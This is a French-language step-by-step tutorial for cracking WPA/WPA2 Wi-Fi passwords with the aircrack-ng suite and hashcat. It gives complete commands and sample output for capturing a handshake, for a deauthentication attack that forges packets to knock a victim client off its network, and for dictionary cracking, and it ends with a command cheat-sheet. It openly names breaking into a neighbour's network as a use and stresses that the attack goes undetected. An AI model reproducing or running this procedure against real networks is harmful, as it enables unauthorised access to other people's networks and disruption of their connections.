
Casser les routeurs Wi-Fi WPA/WPA2 avec Airodump-ng et Aircrack-ng/Hashcat
Craquez les routeurs Wi-Fi WPA/WPA2 avec Airodump-ng et Aircrack-ng/Hashcat.
Ceci est un bref tutoriel pas à pas qui illustre comment craquer les réseaux Wi-Fi sécurisés avec des mots de passe faibles. Il n'est pas exhaustif, mais il devrait vous donner suffisamment d'informations pour tester la sécurité de votre propre réseau ou pénétrer un réseau voisin. L'attaque décrite ci-dessous est entièrement passive (écoute uniquement, rien n'est diffusé depuis votre ordinateur) et il est impossible de la détecter à condition que vous n'utilisiez pas réellement le mot de passe que vous craquez. Une attaque active optionnelle de désauthentification peut être utilisée pour accélérer le processus de reconnaissance et est décrite à la fin de ce document.
Si vous êtes familier avec ce processus, vous pouvez sauter les descriptions et passer directement à la liste des commandes en bas de page. Pour une variété de suggestions et de méthodes alternatives, consultez l'annexe. neal1991 et tiiime ont également gracieusement fourni des traductions de ce document et de l'annexe en chinois si vous préférez ces versions.
AVERTISSEMENT : Ce logiciel/tutoriel est destiné uniquement à des fins éducatives. Il ne doit pas être utilisé pour des activités illégales. L'auteur n'est pas responsable de son utilisation. Ne soyez pas un imbécile.
Ce tutoriel suppose que vous :
sudo apt-get install aircrack-ngCommencez par lister les interfaces sans fil qui prennent en charge le mode moniteur avec :
airmon-ng
Si vous ne voyez aucune interface listée, alors votre carte sans fil ne supporte pas le mode moniteur 😞
Nous supposerons que le nom de votre interface sans fil est wlan0, mais assurez-vous d'utiliser le bon nom s'il diffère. Ensuite, nous allons placer l'interface en mode moniteur :
airmon-ng start wlan0
Exécutez iwconfig. Vous devriez maintenant voir une nouvelle interface en mode moniteur listée (probablement mon0 ou wlan0mon).
Commencez à écouter les trames balises 802.11 diffusées par les routeurs sans fil à proximité en utilisant votre interface moniteur :
airodump-ng mon0
Vous devriez voir un résultat similaire à celui ci-dessous.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
Pour les besoins de cette démo, nous choisirons de craquer le mot de passe de mon réseau, "hackme". Souvenez-vous de l'adresse MAC BSSID et du numéro de canal (CH) affichés par airodump-ng, car nous en aurons besoin pour l'étape suivante.
WPA/WPA2 utilise une poignée de main à 4 voies pour authentifier les appareils sur le réseau. Vous n'avez pas besoin de savoir ce que cela signifie, mais vous devez capturer l'une de ces poignées de main afin de craquer le mot de passe du réseau. Ces poignées de main se produisent chaque fois qu'un appareil se connecte au réseau, par exemple, lorsque votre voisin rentre du travail. Nous capturons cette poignée de main en dirigeant airmon-ng pour surveiller le trafic sur le réseau cible en utilisant le canal et la valeur bssid découverts lors de la commande précédente.
# remplacez les valeurs -c et --bssid par celles de votre réseau cible
# -w spécifie le répertoire où nous enregistrerons la capture de paquets
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Maintenant, nous attendons... Une fois que vous avez capturé une poignée de main, vous devriez voir quelque chose comme [ WPA handshake: bc:d3:c9:ef:d2:67 en haut à droite de l'écran, juste à droite de l'heure actuelle.
Si vous êtes impatient et que vous êtes à l'aise avec une attaque active, vous pouvez forcer les appareils connectés au réseau cible à se reconnecter en leur envoyant des paquets de désauthentification malveillants. Cela aboutit souvent à la capture d'une poignée de main à 4 voies. Consultez la section sur l'attaque deauth ci-dessous pour plus d'informations.
Une fois que vous avez capturé une poignée de main, appuyez sur ctrl-c pour quitter airodump-ng. Vous devriez voir un fichier .cap à l'endroit où vous avez demandé à airodump-ng d'enregistrer la capture (probablement appelé -01.cap). Nous utiliserons ce fichier de capture pour craquer le mot de passe du réseau. J'aime renommer ce fichier pour refléter le nom du réseau que nous essayons de craquer :
mv ./-01.cap hackme.cap
La dernière étape consiste à craquer le mot de passe en utilisant la poignée de main capturée. Si vous avez accès à un GPU, je recommande fortement d'utiliser hashcat pour le craquage de mot de passe. J'ai créé un outil simple qui rend hashcat très facile à utiliser, appelé naive-hashcat. Si vous n'avez pas accès à un GPU, il existe divers services de craquage GPU en ligne que vous pouvez utiliser, comme GPUHASH.me ou OnlineHashCrack. Vous pouvez également essayer le craquage sur CPU avec Aircrack-ng.
Notez que les deux méthodes d'attaque ci-dessous supposent un mot de passe relativement faible généré par l'utilisateur. La plupart des routeurs WPA/WPA2 sont livrés avec des mots de passe aléatoires forts de 12 caractères que de nombreux utilisateurs (à juste titre) laissent inchangés. Si vous essayez de craquer l'un de ces mots de passe, je recommande d'utiliser les fichiers dictionnaire Probable-Wordlists WPA-length.
naive-hashcat (recommandé)Avant de pouvoir craquer le mot de passe avec naive-hashcat, nous devons convertir notre fichier .cap au format de fichier hashcat équivalent .hccapx. Vous pouvez le faire facilement soit en téléchargeant le fichier .cap sur https://hashcat.net/cap2hccapx/, soit en utilisant directement l'outil cap2hccapx.
cap2hccapx.bin hackme.cap hackme.hccapx
Ensuite, téléchargez et exécutez naive-hashcat :
# téléchargement
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# téléchargement du fichier dictionnaire rockyou de 134 Mo
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# craque ! bébé ! craque !
# 2500 est le mode de hachage hashcat pour WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat utilise diverses attaques par dictionnaire, règles, combinaison et masque (smart brute-force) et cela peut prendre des jours voire des mois pour des mots de passe de force moyenne. Le mot de passe craqué sera enregistré dans hackme.pot, alors vérifiez ce fichier périodiquement. Une fois que vous avez craqué le mot de passe, vous devriez voir quelque chose comme ceci dans le contenu de votre POT_FILE :
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
Où les deux derniers champs séparés par : sont respectivement le nom du réseau et le mot de passe.
Si vous souhaitez utiliser hashcat sans naive-hashcat, consultez cette page pour plus d'informations.
Aircrack-ng peut être utilisé pour des attaques par dictionnaire très basiques fonctionnant sur votre CPU. Avant d'exécuter l'attaque, vous avez besoin d'une liste de mots. Je recommande d'utiliser le fameux fichier dictionnaire rockyou :
# téléchargement du fichier dictionnaire rockyou de 134 Mo
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Notez que si le mot de passe du réseau ne se trouve pas dans le fichier de mots, vous ne le craquerez pas.
# -a2 spécifie WPA2, -b est le BSSID, -w est le fichier de mots
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
Si le mot de passe est craqué, vous verrez un message KEY FOUND! dans le terminal suivi de la version en texte clair du mot de passe du réseau.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Une attaque deauth envoie des paquets de désauthentification falsifiés depuis votre machine vers un client connecté au réseau que vous essayez de craquer. Ces paquets incluent de fausses adresses « expéditeur » qui les font apparaître au client comme s'ils étaient envoyés par le point d'accès lui-même. À la réception de tels paquets, la plupart des clients se déconnectent du réseau et se reconnectent immédiatement, vous fournissant une poignée de main à 4 voies si vous écoutez avec airodump-ng.
Utilisez airodump-ng pour surveiller un point d'accès spécifique (en utilisant -c canal --bssid MAC) jusqu'à ce que vous voyiez un client (STATION) connecté. Un client connecté ressemble à ceci, où 64:BC:0C:48:97:F7 est le MAC du client.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Maintenant, laissez airodump-ng en cours d'exécution et ouvrez un nouveau terminal. Nous utiliserons la commande aireplay-ng pour envoyer de faux paquets deauth à notre client victime, le forçant à se reconnecter au réseau et en espérant capturer une poignée de main au passage.
# -0 2 spécifie que nous souhaitons envoyer 2 paquets deauth. Augmentez ce nombre
# si nécessaire, au risque d'interrompre notablement l'activité réseau du client
# -a est le MAC du point d'accès
# -c est le MAC du client
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
Vous pouvez éventuellement diffuser des paquets deauth à tous les clients connectés avec :
# tous les clients ne respectent pas les deauth diffusés
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
Une fois que vous avez envoyé les paquets deauth, retournez à votre processus airodump-ng, et avec un peu de chance, vous devriez maintenant voir quelque chose comme ceci en haut à droite : [ WPA handshake: 9C:5C:8E:C9:AB:C0. Maintenant que vous avez capturé une poignée de main, vous êtes prêt à craquer le mot de passe du réseau.
Voici une liste de toutes les commandes nécessaires pour craquer un réseau WPA/WPA2, dans l'ordre, avec une explication minimale.
# mettre votre interface réseau en mode moniteur
airmon-ng start wlan0
# écouter toutes les trames balises à proximité pour obtenir le BSSID et le canal de la cible
airodump-ng mon0
# commencer à écouter la poignée de main
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# éventuellement déauthentifier un client connecté pour forcer une poignée de main
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## craquer le mot de passe avec aircrack-ng... ##########
# télécharger le fichier dictionnaire rockyou.txt de 134 Mo si nécessaire
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# craquer avec aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## ou craquer le mot de passe avec naive-hashcat ##########
# convertir cap en hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# craquer avec naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
La réponse à ce tutoriel a été si grande que j'ai ajouté des suggestions et du matériel supplémentaire de la part des membres de la communauté dans une annexe. Consultez-la pour apprendre comment :
wlandump-ngcrunch pour générer des listes de mots de plus de 100 Go à la voléemacchangerUne version chinoise de l'annexe est également disponible.
Une grande partie des informations présentées ici provient de l'excellent tutoriel de Lewis Encarnacion. Merci également aux auteurs et mainteneurs géniaux qui travaillent sur Aircrack-ng et Hashcat.
Remerciements immenses à neal1991 et tiiime pour avoir traduit ce tutoriel en chinois. Un grand merci également à yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp et Shark0der qui ont également fourni des suggestions et des corrections de fautes de frappe sur Reddit et GitHub. Si vous êtes intéressé par certaines alternatives proposées à WPA2, consultez les excellentes discussions sur cet article de Hacker News.